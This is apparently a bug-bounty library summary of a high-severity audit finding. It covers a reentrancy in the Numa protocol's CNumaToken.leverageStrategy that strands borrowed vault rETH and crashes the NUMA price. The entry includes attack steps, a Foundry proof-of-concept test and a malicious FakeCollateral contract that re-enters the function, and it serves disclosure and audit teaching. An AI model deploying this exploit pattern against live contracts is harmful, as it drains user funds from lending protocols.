# CNumaToken.leverageStrategy() can be re-entered, causing all the vault funds to be moved to a cToken, crashing NUMA price.

CNumaToken.leverageStrategy accepts attacker-controlled collateral token enabling reentrancy that zeroes leverageDebt, trapping borrowed vault funds in cNuma and crashing NUMA price.

- Payout: Audit contest
- Severity: high
- Program: Numa Audit
- Found by: Vidus
- Disclosed: 2024-12-04
- Write-up quality: 8/10
- Original: https://github.com/sherlock-audit/2024-12-numa-audit-judging/issues/39
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-12-numa-audit%3AH-1
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:chained technique:source-review vuln:accounting-error vuln:reentrancy

**Target:** CNumaToken.leverageStrategy lending contract
**Root cause:** leverageStrategy takes a user-supplied _collateral token address and calls mint/transfer on it, allowing a malicious wrapper to re-enter; the reentrant repayLeverage sets vault leverageDebt to 0 so the outer borrow is never repaid.
**Steps:**
1. Deploy FakeCollateral wrapping cReth, forwarding mint/transfer to real cToken and re-entering on transfer.
2. Attacker enters markets, mints cNuma and cReth collateral.
3. Call `cNuma.leverageStrategy(providedAmount, 1e24, FakeCollateral, 0)`.
4. FakeCollateral.transfer re-enters `cNuma.leverageStrategy(0, 1e15, FakeCollateral, 0)`.
5. Inner call completes repayLeverage, setting vault leverageDebt to 0.
6. Outer borrow repayment is skipped; borrowed rETH stays stuck in cNuma.
**How found:** Code review of leverageStrategy noticed the user-controlled _collateral parameter and external calls to it (mint/transfer) before debt accounting, suggesting a reentrancy window on leverageDebt.
**Exploitation:** Attacker supplies a malicious collateral wrapper to leverageStrategy; during the collateral transfer callback it re-enters with a tiny borrow, whose repayLeverage zeroes the vault's leverageDebt. The outer flash-loan borrow is then never repaid, leaving the borrowed LSTs permanently stuck in the cNuma contract and draining the vault.
**Escalation:** Repeat/scale borrowAmount to pull large fractions of vault LSTs, dumping NUMA price which depends on vault ETH balance.
**Insight:** When a lending function accepts a caller-supplied token/collateral address and invokes it before updating debt state, treat the callback as a reentrancy vector that can zero shared accounting like leverageDebt.

## Proof of concept (copied exactly from the original report)

**Foundry test triggering leverageStrategy reentrancy**

```
function test_reentrancy_leverageStrategy() public {
        vm.startPrank(userA);
        address[] memory t = new address[](2);
        t[0] = address(cReth);
        t[1] = address(cNuma);
        comptroller.enterMarkets(t);

        // mint cNuma so that we can borrow numa later
        uint depositAmount = 9e24;
        numa.approve(address(cNuma), depositAmount);
        cNuma.mint(depositAmount);

        // To be used as collateral to borrow NUMA
        deal(address(rEth), userA, 1e24 + providedAmount);
        rEth.approve(address(cReth), 1e24);
        cReth.mint(1e24);

        uint256 vaultRethBefore = rEth.balanceOf(address(cNuma.vault()));
        uint reth_in_cNuma = rEth.balanceOf(address(cNuma));

        rEth.approve(address(cNuma), providedAmount);

        // Setting up fake collateral token (which interacts with rETH)
        FakeCollateral fake_cReth = new FakeCollateral(address(cReth), address(rEth), userA, comptroller);

        // Sending it a tiny amount of cReth, so it can re-enter cNuma.leverageStrategy()
        cReth.transfer(address(fake_cReth), 5e10 / 2);

        // call strategy
        uint256 borrowAmount = 1e24;

        uint strategyindex = 0;
        cNuma.leverageStrategy(
            providedAmount,
            borrowAmount,
            CNumaToken(address(fake_cReth)),
            strategyindex
        );

        // check balances
        // cnuma position
        uint256 vaultRethAfter = rEth.balanceOf(address(cNuma.vault()));
        uint reth_in_cNuma_After = rEth.balanceOf(address(cNuma));
        
        // Shows that the rETH balance of the cNuma token contract has gone up by `borrowAmount` (since flash loan was not repaid)
        console.log("cNUMA rETH balance: %e->%e (stuck funds)", reth_in_cNuma, reth_in_cNuma_After);
        assertEq(reth_in_cNuma_After - reth_in_cNuma, borrowAmount);
    }
```

**FakeCollateral contract re-entering leverageStrategy**

```
contract FakeCollateral {

    CNumaToken actualCollateral;
    ERC20 actualUnderlying;
    address public user;

    bool entered = false;
    NumaComptroller comptroller;
    constructor(address _actualCollateral, address _underlying, address _user, NumaComptroller _comptroller) {
        actualCollateral = CNumaToken(_actualCollateral);
        actualUnderlying = ERC20(actualCollateral.underlying());
        user = _user;
        comptroller = _comptroller;

        address[] memory t = new address[](1);
        t[0] = address(actualCollateral);
        comptroller.enterMarkets(t);
    }

    function underlying() external view returns(address) {
        return address(actualUnderlying);
    }

    function accrueInterest() public returns (uint) {
        return 0;
    }
    
    function mint(uint256 amt) external returns (uint) {
        actualUnderlying.transferFrom(msg.sender, address(this), amt);
        actualUnderlying.approve(address(actualCollateral), amt);

        uint256 balanceBefore = actualCollateral.balanceOf(address(this));
        actualCollateral.mint(amt);
        uint256 balanceAfter = actualCollateral.balanceOf(address(this));

        if (balanceAfter - balanceBefore > 0) {
             // transfer most of it to the user
             console.log("transferring %e cTokens to user", balanceAfter - balanceBefore - 1 wei);
            actualCollateral.transfer(user, balanceAfter - balanceBefore - 1 wei);
        }
       
        // transfer 1 wei to msg.sender to prevent revert
        actualCollateral.transfer(msg.sender, 1 wei);

    }

    function transfer(address to, uint amt) external returns(bool truth){
        // re-enter for another leverage play

        if (!entered) {
            entered = true;

            CNumaToken(msg.sender).leverageStrategy(0, 1e15, CNumaToken(address(this)), 0);
            return true;
        }
        return true;
    }

    function balanceOf(address addy) public view returns(uint) {
        return actualCollateral.balanceOf(addy);
    }
```

